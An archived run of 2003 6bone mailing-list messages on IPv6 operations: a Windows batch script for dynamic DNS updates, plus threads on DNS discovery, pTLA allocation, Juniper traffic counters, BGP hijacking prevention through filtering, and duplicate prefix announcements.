rem Change the config below, et tada ;)

rem ##################################################################
rem Our config
rem ##################################################################
set HOSTNAME=3Dlimbo
set DOMAIN=3Dunfix.org
set KEYFILE=3DC:\Programs\Net\Bind\Klimbo.unfix.org.+157+34970.key
set UNX=3DC:\Programs\Misc\Unix
set NSUPDATE=3DC:\Programs\Net\Bind\nsupdate
set SCRIPT=3Dc:\Programs\Net\Bind\cmd.txt
set INTERFACE=3D3

rem =
######################################################################
rem The Script
rem =
######################################################################
rem Specify a sane DNS Server
rem Done because on NT nsupdate can't find /etc/resolv.conf that easily =
:)
%UNX%\echo -n "server" >%SCRIPT%
ipconfig /all | grep "DNS Servers" | cut -f2 -d: >>%SCRIPT%

rem Delete the old ones
%UNX%\echo "update delete %HOSTNAME%.%DOMAIN% A" >>%SCRIPT%
%UNX%\echo "update delete %HOSTNAME%.%DOMAIN% AAAA" >>%SCRIPT%
%UNX%\echo "update delete %HOSTNAME%.ipv4.%DOMAIN% A" >>%SCRIPT%
%UNX%\echo "update delete %HOSTNAME%.ipv6.%DOMAIN% AAAA" >>%SCRIPT%

rem Add the IPv4 address.
%UNX%\echo -n "update add %HOSTNAME%.%DOMAIN% 360 A" >>%SCRIPT%
ipconfig /all | grep "IP Address" | cut -f2 -d: >>%SCRIPT%
%UNX%\echo -n "update add %HOSTNAME%.ipv4.%DOMAIN% 360 A" >>%SCRIPT%
ipconfig /all | grep "IP Address" | cut -f2 -d: >>%SCRIPT%

rem Add the IPv6 address.
%UNX%\echo -n "update add %HOSTNAME%.%DOMAIN% 360 AAAA " >>%SCRIPT%
ipv6 if %INTERFACE% | grep addrconf | awk "{print $3; }" | cut -f1 -d, =
>>%SCRIPT%
%UNX%\echo -n "update add %HOSTNAME%.ipv6.%DOMAIN% 360 AAAA " >>%SCRIPT%
ipv6 if %INTERFACE% | grep addrconf | awk "{print $3; }" | cut -f1 -d, =
>>%SCRIPT%

rem And send the update
%UNX%\echo "send" >>%SCRIPT%

%NSUPDATE% -k %KEYFILE% %SCRIPT%

------=_NextPart_000_0039_01C30AC0.08370D10--


From tjc@ecs.soton.ac.uk Thu Apr 24 15:34:53 2003
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Date: Thu, 24 Apr 2003 23:34:47 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Chris Mitchell <cmitch@windows.microsoft.com>
Cc: "BEGIN, Thomas" <tbegin@tf1.fr>, 6bone@mailman.isi.edu
Subject: Re: [6bone] Dynamic DNS
Message-ID: <20030424223446.GA6776@login.ecs.soton.ac.uk>
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Interesting, I didn't realise that draft-ietf-ipv6-dns-discovery had been
implemented...

Given the imminent deprecation of site-locals (although with a few zillion
endless emails between the same 3 or 4 people on ipng, it is hard to tell :)
implementing site-locals on your site may not be wise, just to get DNS
discovery.

I do believe that stateless DNS discovery is important.  Many people seem to
theink DHCPv6 is the only way to do this.  There's a couple of interesting
drafts on using RA piggybacking for it though.

Tim

On Thu, Apr 24, 2003 at 12:55:58PM -0700, Chris Mitchell wrote:
> Thomas, you should be able to type "Netsh I ipv add dns" from the
> Command Prompt on Windows 2003 to enable IPv6 DNS.  You will need to
> make sure the address of the DNS server is reachable by default address,
> fec0:0:0:ffff::1-3
> 
> I hope this helps,
> Thanks
> Chris Mitchell
> Microsoft Corporation
> 
> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
> On Behalf Of BEGIN, Thomas
> Sent: Thursday, April 24, 2003 5:45 AM
> To: 6bone@mailman.isi.edu
> 
> Hello,
> 
> I'm working on the relationship between IPv6 and DynamicDNS on several
> OS.
> I've succeeded in making my testbed with an automatic registration into
> the DNS at the startup of computers.
> Then IPv4 and v6 addresses are well recorded inside the DNS. But the
> fact is that I still have the IPv4 network.
> Next I tried to put off the IPv4 protocol from the network and get an
> only IPv6 network.
> * For the linux machines -> no problems
> * For the windows 2003 machines -> they are no more recorded inside the
> DNS table
> 
> Thus I have few questions about this thema :
> - Is there anything special to setup in the OS to allow dynamic updates
> over IPv6 ? may be in the netsh tool ? I've searched myself and haven't
> found ...
> - Is IPv4 necessary to carry the register messages that serves for the
> dynamic DNS updates ? It would mean that IPv6 is not autonomous on the
> new windows OS ? strange ...
> - Is there an equivalent of the command ipconfig /registerdns ... that
> exists when IPv4 is shut down ? 
> 
> Regards
> - Thomas
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From Jasminko.W.Mulahusic@telia.se Fri Apr 25 00:41:05 2003
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> on ipng, it is hard to tell :) implementing site-locals on 
> your site may not be wise, just to get DNS discovery.

why have site-locals been chosen instead of anycast?

> There's a couple of interesting drafts on using RA 
> piggybacking for it though.

requires changes to the v6 standard?

jasminko

From mohacsi@evil.ki.iif.hu Fri Apr 25 04:00:12 2003
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On Fri, 25 Apr 2003 Jasminko.W.Mulahusic@telia.se wrote:

> > on ipng, it is hard to tell :) implementing site-locals on
> > your site may not be wise, just to get DNS discovery.
>
> why have site-locals been chosen instead of anycast?

There are couple of DNS discovery mechanism implemented and tested in
KAME:
via DHCPv6
via multicast DNS

Recently I see a kind of consensus to have site local addresses for
site DNS, since it is easier to implement, than the discovery mechanisms.
This site-local could be anycast. As far as I know, usage of anycast is
not very welcome if you expect response from addressesed node (in case of
DNS).

Regards,
	Janos Mohacsi


From wildfire@progsoc.uts.edu.au Fri Apr 25 04:56:58 2003
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To: Pekka Savola <pekkas@netcore.fi>
Cc: Bob Fink <bob@thefinks.com>, 6BONE List <6bone@mailman.isi.edu>,
   Narumol Somboon <narumols@samtel.com>
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On Wed, Apr 23, 2003 at 11:15:44AM +0300, Pekka Savola wrote:
> On Tue, 22 Apr 2003, Bob Fink wrote:
> > SAMART-TH has requested a pTLA allocation and I find their request fully 
> > compliant with RFC2772. The open review period for this will close 6 May 
> > 2003. Please send your comments to me or the list.
> 
> Narumol,
> 
> Are you aware that APNIC offers experimental allocations?  Those might be
> better fit for your purpose, I think.
> 

Well I certainly wasn't. Are you able to provide a link/pointer to that
policy at all?

I couldn't find anything on their website to indicate experimental
allocation was being undertaken.

Thanks,
Anancd

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From pekkas@netcore.fi Fri Apr 25 06:13:52 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Anand Kumria <wildfire@progsoc.uts.edu.au>
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On Fri, 25 Apr 2003, Anand Kumria wrote:
> On Wed, Apr 23, 2003 at 11:15:44AM +0300, Pekka Savola wrote:
> > On Tue, 22 Apr 2003, Bob Fink wrote:
> > > SAMART-TH has requested a pTLA allocation and I find their request fully 
> > > compliant with RFC2772. The open review period for this will close 6 May 
> > > 2003. Please send your comments to me or the list.
> > 
> > Narumol,
> > 
> > Are you aware that APNIC offers experimental allocations?  Those might be
> > better fit for your purpose, I think.
> > 
> 
> Well I certainly wasn't. Are you able to provide a link/pointer to that
> policy at all?
> 
> I couldn't find anything on their website to indicate experimental
> allocation was being undertaken.

http://www.apnic.net/docs/drafts/apnic-draft-experiment-v001.html

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


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On Fri, Apr 25, 2003 at 04:13:28PM +0300, Pekka Savola wrote:
> On Fri, 25 Apr 2003, Anand Kumria wrote:
> > On Wed, Apr 23, 2003 at 11:15:44AM +0300, Pekka Savola wrote:
> > > On Tue, 22 Apr 2003, Bob Fink wrote:
> > > > SAMART-TH has requested a pTLA allocation and I find their request fully 
> > > > compliant with RFC2772. The open review period for this will close 6 May 
> > > > 2003. Please send your comments to me or the list.
> > > 
> > > Narumol,
> > > 
> > > Are you aware that APNIC offers experimental allocations?  Those might be
> > > better fit for your purpose, I think.
> > > 
> > 
> > Well I certainly wasn't. Are you able to provide a link/pointer to that
> > policy at all?
> > 
> > I couldn't find anything on their website to indicate experimental
> > allocation was being undertaken.
> 
> http://www.apnic.net/docs/drafts/apnic-draft-experiment-v001.html

Thanks for the pointer. I think sections 6.1, 6.2, 7, 8 and 12 would
give almost anyone pause.

I'm sure that document has an intended, useful, audience in mind. I just
can not think of who that would be at all. Certainly I can't see it fitting 
SAMART-TH's request.

Regards,
Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From dan@reeder.name Sat Apr 26 00:23:36 2003
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From: "Dan Reeder" <dan@reeder.name>
To: "Anand Kumria" <wildfire@progsoc.uts.edu.au>
Cc: "6BONE List" <6bone@mailman.isi.edu>
References: <20030425115637.GU3876@yeenoghu.progsoc.uts.edu.au> <Pine.LNX.4.44.0304251613140.10707-100000@netcore.fi> <20030425132254.GV3876@yeenoghu.progsoc.uts.edu.au>
Subject: Re: [6bone] pTLA request by SAMART-TH - review closes 6 May 2003
Date: Sat, 26 Apr 2003 17:22:44 +1000
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>Thanks for the pointer. I think sections 6.1, 6.2, 7, 8 and 12 would
>give almost anyone pause.

hence most of australia's desire to bypass apnic in all things
allocation-related, or at least until apnic decides to start living in the
real world for a change.


----- Original Message -----
From: "Anand Kumria" <wildfire@progsoc.uts.edu.au>
To: "Pekka Savola" <pekkas@netcore.fi>
Cc: "Bob Fink" <bob@thefinks.com>; "6BONE List" <6bone@mailman.isi.edu>;
"Narumol Somboon" <narumols@samtel.com>
Sent: Friday, April 25, 2003 11:22 PM
Subject: Re: [6bone] pTLA request by SAMART-TH - review closes 6 May 2003


> On Fri, Apr 25, 2003 at 04:13:28PM +0300, Pekka Savola wrote:
> > On Fri, 25 Apr 2003, Anand Kumria wrote:
> > > On Wed, Apr 23, 2003 at 11:15:44AM +0300, Pekka Savola wrote:
> > > > On Tue, 22 Apr 2003, Bob Fink wrote:
> > > > > SAMART-TH has requested a pTLA allocation and I find their request
fully
> > > > > compliant with RFC2772. The open review period for this will close
6 May
> > > > > 2003. Please send your comments to me or the list.
> > > >
> > > > Narumol,
> > > >
> > > > Are you aware that APNIC offers experimental allocations?  Those
might be
> > > > better fit for your purpose, I think.
> > > >
> > >
> > > Well I certainly wasn't. Are you able to provide a link/pointer to
that
> > > policy at all?
> > >
> > > I couldn't find anything on their website to indicate experimental
> > > allocation was being undertaken.
> >
> > http://www.apnic.net/docs/drafts/apnic-draft-experiment-v001.html
>
> Thanks for the pointer. I think sections 6.1, 6.2, 7, 8 and 12 would
> give almost anyone pause.
>
> I'm sure that document has an intended, useful, audience in mind. I just
> can not think of who that would be at all. Certainly I can't see it
fitting
> SAMART-TH's request.
>
> Regards,
> Anand
>
> --
>  `` We are shaped by our thoughts, we become what we think.
>  When the mind is pure, joy follows like a shadow that never
>  leaves. '' -- Buddha, The Dhammapada
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From andree@wnet.bos.nl Mon Apr 28 06:52:49 2003
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Date: Mon, 28 Apr 2003 15:52:23 +0200
From: Andree Toonk <andree@bos.nl>
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Subject: [6bone] IPv6 traffic accounting
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Hello everyone,

I would like to measure how much IPv6 traffic is passing a (Cisco) router.
does anyone know if this is possible with a recent IOS?
Would it be possible to do this with SNMP?

The same question for juniper, can I do IPv6 traffic accounting on a juniper?

Thanks in advance,
Andree

From pim@ipng.nl Mon Apr 28 07:48:39 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Andree Toonk <andree@bos.nl>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 traffic accounting
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On Mon, Apr 28, 2003 at 03:52:23PM +0200, Andree Toonk wrote:
| Hello everyone,
| 
| I would like to measure how much IPv6 traffic is passing a (Cisco) router.
| does anyone know if this is possible with a recent IOS?
| Would it be possible to do this with SNMP?
I do not know if works and if so, how to do it on IOS. I'm very
interrested in it nonetheless!

| The same question for juniper, can I do IPv6 traffic accounting on a juniper?
Well on a Juniper you can count all traffic that is blocked (or passed)
through a filter. In the 'then' clause of your statement, you can count
traffic by stating 'set then count mycounter'. You can then view
packet/octetcount simply by issuing a 'show firewall filter myfilter'. 
For example, in my case a filter 'f-re6' protects my routing engine. It
has:

term icmp6 {
  from {
    next-header [ icmp icmpv6 ];
  }
  then {
    count icmp-acceptcount;
    accept;
  }
}
term else {
  then {
    count re6-dropcount;
    log;
    reject tcp-reset;
  }
}

pim@jun1.kelvin# run show firewall filter f-re6 
Filter: f-re6                                                  
Counters:
Name                                                Bytes Packets
icmp-acceptcount                                     3840      56
re6-dropcount                                         640       8

On JunOS, you cannot see what traffic _types_ pass through an interface.
Typing something like "show interfaces ge-0/1/0.23 extensive" does give
you stats (packets and octets as well as 5 minute averages), but this is
a layer2 mechanism so it cannot offer you information on IPv4/IPv6. The
only way I can think of is via filters (which may of course simply be of
the form "from any to any then accept count mycounter", which is readable
via SNMP. MIBs for JunOS filters are available. Note that SNMP and CLI
polling of the filter counters is not realtime. The IP2 periodically (I
do not know when, but every couple of seconds or so) sends the
information to the RE, I think. 

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From rfurda@best.ca Mon Apr 28 13:07:07 2003
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Date: Mon, 28 Apr 2003 22:06:51 +0200
To: 6bone@mailman.isi.edu
From: Richard Furda <rfurda@best.ca>
Subject: Re: [6bone] IPv6 traffic accounting
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Hello,

IP accounting and other accounting methods are quite primitive and
do not offer such flexibility as netflow. It appears as Netflow v9 supports 
IPv6.
I haven't tested it, although in v4 world Netflow provides more than one 
might need.

http://www.cisco.com/en/US/products/sw/iosswrel/ps1829/products_feature_guide09186a00801341b2.html#1036433

Richard

At 04:44 PM 4/28/2003 +0200, you wrote:
>On Mon, Apr 28, 2003 at 03:52:23PM +0200, Andree Toonk wrote:
>| Hello everyone,
>|
>| I would like to measure how much IPv6 traffic is passing a (Cisco) router.
>| does anyone know if this is possible with a recent IOS?
>| Would it be possible to do this with SNMP?
>I do not know if works and if so, how to do it on IOS. I'm very
>interrested in it nonetheless!
>
>| The same question for juniper, can I do IPv6 traffic accounting on a 
>juniper?
>Well on a Juniper you can count all traffic that is blocked (or passed)
>through a filter. In the 'then' clause of your statement, you can count
>traffic by stating 'set then count mycounter'. You can then view
>packet/octetcount simply by issuing a 'show firewall filter myfilter'.
>For example, in my case a filter 'f-re6' protects my routing engine. It
>has:
>
>term icmp6 {
>   from {
>     next-header [ icmp icmpv6 ];
>   }
>   then {
>     count icmp-acceptcount;
>     accept;
>   }
>}
>term else {
>   then {
>     count re6-dropcount;
>     log;
>     reject tcp-reset;
>   }
>}
>
>pim@jun1.kelvin# run show firewall filter f-re6
>Filter: f-re6
>Counters:
>Name                                                Bytes Packets
>icmp-acceptcount                                     3840      56
>re6-dropcount                                         640       8
>
>On JunOS, you cannot see what traffic _types_ pass through an interface.
>Typing something like "show interfaces ge-0/1/0.23 extensive" does give
>you stats (packets and octets as well as 5 minute averages), but this is
>a layer2 mechanism so it cannot offer you information on IPv4/IPv6. The
>only way I can think of is via filters (which may of course simply be of
>the form "from any to any then accept count mycounter", which is readable
>via SNMP. MIBs for JunOS filters are available. Note that SNMP and CLI
>polling of the filter counters is not realtime. The IP2 periodically (I
>do not know when, but every couple of seconds or so) sends the
>information to the RE, I think.
>
>--
>---------- - -    - - -+- - -    - - ----------
>Pim van Pelt                 Email: pim@ipng.nl
>http://www.ipng.nl/            IPv6 Deployment
>-----------------------------------------------
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From robson.oliveira@ipv6dobrasil.com.br Wed Apr 30 15:51:26 2003
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From: "Robson Oliveira" <robson.oliveira@ipv6dobrasil.com.br>
To: "6bone" <6bone@mailman.isi.edu>
Date: Wed, 30 Apr 2003 19:50:52 -0300
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Subject: [6bone] IPv6 SEAL COMPLIANCE - Adding value at your efforts
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Hi all,

Today, we could increase the value of IPv6 compliance Company. Based on Y2K
example, I suggest we create an "IPv6 Seal Compliance" to add value at the
companies efforts.

If your company/product is IPv6-enable, there are a lot of reasons to you
join us to describe the rules to create it and promote this initiative. I
believe the market will see this value before purchase any product. Let's
stop the chicken and egg discussion and promote the IPv6 Products.

Cheers,
Robson Oliveira
CTO - IPv6 do Brasil
Email:	<robson.oliveira@ipv6dobrasil.com.br>
Phone:  (55-11) 6693-5968
Mobile: (55-11) 9866-0414

This electronic message and its attachments contain PRIVILEGED AND/OR
CONFIDENTIAL information, which may be subject to a legal privilege and may
constitute inside information. If the reader of this message is not the
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have received this message in error, please notify me immediately by reply
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Robson Oliveira <robson.oliveira@ipv6dobrasil.com.br>
Cc: 6bone <6bone@mailman.isi.edu>
Subject: Re: [6bone] IPv6 SEAL COMPLIANCE - Adding value at your efforts
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Hi Robson,

The major testing organisations (ETSI, UNH, TAHI) have already agreed a
programme for this purpose, which I believe will be described in more detail 
at the IPv6 Summit in Madrid on 12-14 May.   The programme is "IPv6 Ready".

I am sure they would welcome your input.

Tim

On Wed, Apr 30, 2003 at 07:50:52PM -0300, Robson Oliveira wrote:
> Hi all,
> 
> Today, we could increase the value of IPv6 compliance Company. Based on Y2K
> example, I suggest we create an "IPv6 Seal Compliance" to add value at the
> companies efforts.
> 
> If your company/product is IPv6-enable, there are a lot of reasons to you
> join us to describe the rules to create it and promote this initiative. I
> believe the market will see this value before purchase any product. Let's
> stop the chicken and egg discussion and promote the IPv6 Products.
> 
> Cheers,
> Robson Oliveira
> CTO - IPv6 do Brasil
> Email:	<robson.oliveira@ipv6dobrasil.com.br>
> Phone:  (55-11) 6693-5968
> Mobile: (55-11) 9866-0414
> 
> This electronic message and its attachments contain PRIVILEGED AND/OR
> CONFIDENTIAL information, which may be subject to a legal privilege and may
> constitute inside information. If the reader of this message is not the
> intended recipient, you are hereby notified that your use or distribution of
> such information, by copying or otherwise, is strictly prohibited. If you
> have received this message in error, please notify me immediately by reply
> electronic mail and then remove all traces of the electronic mail message
> from your system.
> 



From bob@thefinks.com Tue May  6 07:19:53 2003
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Date: Tue, 06 May 2003 07:18:29 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <bob@thefinks.com>
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   6bone reverse DNS registration <hostmaster@ep.net>
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Subject: [6bone] 6bone pTLA 3FFE:4018::/32 allocated to SAMART-TH
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SAMART-TH has been allocated pTLA 3FFE:4018::/32 having finished its 2-week 
review period.

   <http://whois.6bone.net/cgi-bin/whois?SAMART-TH>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration in e.f.f.3.ip6.int for pTLAs, please 
send the prefix allocated above, and a list of at least two authoritative 
nameservers, to hostmaster@ep.net.]

[Note: The effort to startup e.f.f.3.ip6.arpa is well underway with the 
draft 
http://www.ietf.org/internet-drafts/draft-ymbk-6bone-arpa-delegation-01.txt 
being processed by the IETF/IESG for BCP RFC. There will be an announcement 
of progress soon.]


Thanks,

Bob 


From cfaber@fpsn.net Fri May  9 13:55:21 2003
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Subject: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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Recently on the IPv4 internet there have been a small but growing number of cases
of BGP hijacking by spammers / spam gangs to get around black lists and filters.

Does/Is there anything in place with in the existing BGP+ protocol to prevent such
things from happening.

The reason I ask is simple.  As the roll out of the v6 network continues you can
guarantee that spammers will move to the v6 network following the rest of the
E?SMTP's out there.


-- 
Colin Faber
(303) 859-1491
fpsn.net, Inc.
* Black holes are where God divided by zero. *

From jeroen@unfix.org Fri May  9 15:32:35 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Colin Faber'" <cfaber@fpsn.net>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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Colin Faber wrote:

> Recently on the IPv4 internet there have been a small but 
> growing number of cases
> of BGP hijacking by spammers / spam gangs to get around black 
> lists and filters.

Based on the single stupid fact that there are active
Ghost Routes (*1) out there and the fact that some 'admins'
are very unresponsive (as in: don't reply) this would
become dead easy in the future. I therefor sincerely
hope that some people wake up and go fix their setups.
It's also quite a bad thing that it doesn't really
gets noticed by the owner of the affected prefixes.

Fortunatly there are people who actually like their
work and have a passion for it and they put a lot
of time and effort into it and do actively filter
bogus routes that are being announced.
If and if only that was the common case.

> Does/Is there anything in place with in the existing BGP+ 
> protocol to prevent such things from happening.

There is RADB or simply the nice routemaps that are
in the whois db's of the RIR's allowing one to easily
generate filters based on the information represented there.
But then still it's all about who to thrust which was
also one of the major points seen on the NANOG list when
they where discussing the topic you mentioned.

Note that based on the information currently available
in GRH, it could generate some very nice bogon maps.
Then again, most if not all of the participants filter
on at least known boundaries (*2). Thus the only thing
that would be visible then would be unallocated spaces.
Note that anyone can set a source ASN to match the
allocated one and just announce that space, probably
noone will notice it unless they filter their peers.
But in the big transit-for-free-ipv6-cloud that it is
now there is only minimal filtering in most AS's.
Therefor I would always like people to read MIPP (*3)
Btw: one day GRH might just do bogon listing, so be
warned because obvious things will show up then :)
Also note that RIS (*4) is also monitoring IPv6.

Greets,
 Jeroen

*1 = http://www.sixxs.net/tools/grh/ghosts/what/
*2 = http://www.space.net/~gert/RIPE/ipv6-filters.html
*3 = http://ip6.de.easynet.net/ipv6-minimum-peering.txt
*4 = http://www.ris.ripe.net


From tvo@EnterZone.Net Fri May  9 16:03:58 2003
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Subject: Re: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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On Fri, 9 May 2003, Colin Faber wrote:

> Recently on the IPv4 internet there have been a small but growing number of cases
> of BGP hijacking by spammers / spam gangs to get around black lists and filters.
> 
> Does/Is there anything in place with in the existing BGP+ protocol to prevent such
> things from happening.
> 
> The reason I ask is simple.  As the roll out of the v6 network continues you can
> guarantee that spammers will move to the v6 network following the rest of the
> E?SMTP's out there.
> 
> 
> -- 
> Colin Faber
> (303) 859-1491
> fpsn.net, Inc.
> * Black holes are where God divided by zero. *



Colin,

The measures for V6 are the same as for V4.  If the friggin' providers
would FILTER their customers responsibly, the hijackings wouldn't be
possible!


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From hultq@iafrica.com Sat May 10 03:48:00 2003
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To: "6Bone" <6bone@mailman.isi.edu>, "John Fraizer" <tvo@EnterZone.Net>
Subject: RE: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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I have to Agree with John on this Matter. IF the providers would be 
good enough to Filter the customers responsability, then there would
not be a problem now would there?

Living in South Africa, IPV6 is still a long way off but then again
we dont have to many spamming or hacking attempts..... But as always
yes. Sorry this is a rather arb post, I was just sitting here and decided
to put in my two cents worth.

-Marc
 Polykarbon SA
 http://www.polykarbon.co.za 
 marc@polykarbon.co.za
 +27 82 549-5467 / +27 11 465-6515


From jeroen@unfix.org Sat May 10 06:25:18 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Marc Hultquist'" <hultq@iafrica.com>, "'6Bone'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
Date: Sat, 10 May 2003 15:25:12 +0200
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Marc Hultquist wrote:

> I have to Agree with John on this Matter. IF the providers would be 
> good enough to Filter the customers responsability, then there would
> not be a problem now would there?

The Lazy Admin Problem(tm) :)

> Living in South Africa, IPV6 is still a long way off but then again

Why would IPv6 we be a long way off ?

Okay let's test my geography <grin>
From http://www.sixxs.net/tools/grh/tla/all/?country=africa

It appears that there are currently 

2001:528::/32 TELKOMSAV6
2001:588::/32 UU-IPV6-1-ZA
2001:8f8::/32 AE-EMIRNET-20020920
2001:970::/32 TN-ATI-20021024

2001:528::/32 & 2001:8f8::/32 have not been detected by GRH though
the other 2 are visible. It's not much but it is something.
Africa probably needs even more IPv6 advocacy than the US :)

Greets,
 Jeroen


From gert@Space.Net Sat May 10 14:18:44 2003
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Hi,

On Sat, May 10, 2003 at 03:25:12PM +0200, Jeroen Massar wrote:
> It appears that there are currently 
> 
> 2001:528::/32 TELKOMSAV6
> 2001:588::/32 UU-IPV6-1-ZA
> 2001:8f8::/32 AE-EMIRNET-20020920
> 2001:970::/32 TN-ATI-20021024

The last two are arabian emirates, and tunesia - which is quite a way
away from south africa.

UUnet ZA looks very promising, though.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54495  (54267)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From hank@att.net.il Sun May 11 01:17:17 2003
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Subject: [6bone] Dualing IPv6 announcements
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BT and JPNIC/WIDE are both announcing these prefixes:

mcast#sho bgp ipv6 inc
BGP table version is 479, local router ID is 192.114.99.52
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal
Origin codes: i - IGP, e - EGP, ? - incomplete

    Network          Next Hop            Metric LocPrf Weight Path
*  2001:200::/35    3FFE:2000:0:41D::22F
                                                            0 559 6830 1752 ?
*>                  2001:798:2020:10DD::1
                                                            0 20965 11537 
2500 i
*  2001:200::/32    3FFE:2000:0:41D::22F
                                                            0 559 6830 1752 ?
*>                  2001:798:2020:10DD::1
                                                            0 20965 11537 
2500 i

It looks like WIDE does "own" this:
inet6num:     2001:200::/32
netname:      WIDE-JP-19990813
descr:        WIDE project
country:      JP
remarks:      upgraded from /35
admin-c:      JM46-AP
tech-c:       AK27-AP
tech-c:       KN9-AP
status:       ALLOCATED PORTABLE
notify:       kato@wide.ad.jp
notify:       kenken@sfc.wide.ad.jp
mnt-by:       APNIC-HM
mnt-lower:    MAINT-JP-WIDE
changed:      hm-changed@apnic.net 20030423
source:       APNIC
so the question is why is BT announcing this and how come prefix filters 
aren't stopping this?

-Hank


From jeroen@unfix.org Sun May 11 04:30:29 2003
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To: "'Marc Hultquist'" <hultq@iafrica.com>
Cc: "'6Bone'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] (OT but Relevant) Recent spammer tactics - BGP Hijacking
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Marc Hultquist [mailto:hultq@iafrica.com] wrote:

> I have to take my comments back on the sa being a long way 
> off on the IPV6 scene.
> It was stupid and as was pointed out to me by someone I was 
> completly in the wrong in my comments.

Well that's not exactly the right way to wing it either.
As even though there are allocations this doesn't mean
at all that you can get access to it...

So go advocate it to your upstreams.

<advocacy>
IPv6 to the *WHOLE* world!
</advocacy>

Greets,
 Jeroen

<SNIP>

> ----- Original Message -----
> From: "Jeroen Massar" <jeroen@unfix.org>
> To: "'Marc Hultquist'" <hultq@iafrica.com>; "'6Bone'"
> <6bone@mailman.isi.edu>
> Sent: Saturday, May 10, 2003 3:25 PM
> Subject: RE: [6bone] (OT but Relevant) Recent spammer tactics - BGP
> Hijacking
> 
> 
> Marc Hultquist wrote:
> 
> > I have to Agree with John on this Matter. IF the providers would be
> > good enough to Filter the customers responsability, then there would
> > not be a problem now would there?
> 
> The Lazy Admin Problem(tm) :)
> 
> > Living in South Africa, IPV6 is still a long way off but then again
> 
> Why would IPv6 we be a long way off ?
> 
> Okay let's test my geography <grin>
> From http://www.sixxs.net/tools/grh/tla/all/?country=africa
> 
> It appears that there are currently
> 
> 2001:528::/32 TELKOMSAV6
> 2001:588::/32 UU-IPV6-1-ZA
> 2001:8f8::/32 AE-EMIRNET-20020920
> 2001:970::/32 TN-ATI-20021024
> 
> 2001:528::/32 & 2001:8f8::/32 have not been detected by GRH though
> the other 2 are visible. It's not much but it is something.
> Africa probably needs even more IPv6 advocacy than the US :)
> 
> Greets,
>  Jeroen
> 
> 
> 
> 
> 


From jeroen@unfix.org Sun May 11 04:44:47 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Hank Nussbacher'" <hank@att.net.il>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] Dualing IPv6 announcements
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Hank Nussbacher wrote:

> BT and JPNIC/WIDE are both announcing these prefixes:

Did you contact them directly?
 
> mcast#sho bgp ipv6 inc

Check
http://www.sixxs.net/tools/grh/lg/?prefix=2001:200::/32&matchtype=more
or
http://www.sixxs.net/tools/grh/lg/?prefix=2001:200::/32&matchtype=more&s
how=origins
to show just the origins of these prefixes (for lazy people like me ;)

Which boils down to:
2001:200::/35        1752 BT-CIN-AND-ADASTRAL 
2001:200::/35        2500 JPNIC-ASBLOCK-AP 
2001:200::/32        1752 BT-CIN-AND-ADASTRAL 
2001:200::/32        2500 JPNIC-ASBLOCK-AP 
2001:200:126::/48   10017 JPNIC-NET-JP-AS-BLOCK 
2001:200:200::/40    4682 AS4682 
2001:200:202::/64   10017 JPNIC-NET-JP-AS-BLOCK 
2001:200:202::/48   10017 JPNIC-NET-JP-AS-BLOCK 
2001:200:202:f::/64 10017 JPNIC-NET-JP-AS-BLOCK 
2001:200:203::/48    9377 AS9377 
2001:200:340::/48    9377 AS9377 
2001:200:500::/40    9612 JPNIC-NET-JP-AS-BLOCK 

> so the question is why is BT announcing this and how come 
> prefix filters aren't stopping this?

Because not very many ASN's apply filtering *at all*.
Let alone filter something that could, even how odd, be legit.

The two /64's in the above table should never be seen
as 10017 could quite easily aggregate them into the /48
and even then... the /48 should not pop up globally.

2001:200:202::/48   > 3ffe:81d0:ffff:2::28 1000   6939 14277 3549 2915
2713 4682 10017  IGP 
2001:200:202::/64     3ffe:81d0:ffff:2::28 1000   6939  6939 3549 2915
2713 4682 10017  unknown 
